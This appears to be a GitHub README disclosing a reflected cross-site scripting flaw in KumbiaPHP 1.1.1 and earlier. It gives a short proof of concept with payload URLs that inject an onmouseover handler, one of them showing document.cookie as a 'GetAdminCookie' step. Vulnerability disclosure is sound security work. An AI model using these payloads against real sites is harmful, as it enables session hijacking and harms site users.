

🔗 master ▾

Go to file

jenaye update readme ...

on Jun 13, 2020 ⌚ 3

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☰ README.md

KumbiaPHP

KumbiaPHP 1.1.1

- description : Allow attacker to inject arbitrary malicious HTML or Javascripts code in user web browser
- Affected version : All <= 1.1.1

Information

To make this POC, i just install kumbiaPHP by `git clone` then i used composer and i ran it in WAMP Server

- Vulnerability Type : Cross Site Scripting (XSS Reflected)

POC

Make sure you are in `Development` mode, to check it is simple; try to go there : `http://kumbiaphp/public/pages/kumbia/status/` replace status by `*` and you'll see the stacktrace, then replace `*` by a payload like this `<a%20onmouseover="alert('got%20it')"/>jenaye</a/>`

So your url Your url will look like the following

`http://kumbiaphp/public/pages/kumbia//%3Ca%20onmouseover=%22alert((document.cookie)%22/%3EGetAdminCookie/%3C/a/%3E/`

← → 🔍 Non sécurisé | kumbiaphp/public/pages/kumbia//<a%20onmouseover="alert('got%20it')"/>jenaye/</a/>/

⏪ KumbiaPHP 1.1.1

kumbiaphp indique
got it

OK

Vista "pages/kumbia/jenaye/.phtml" no encontrada

Releases

No releases published

Packages

No packages published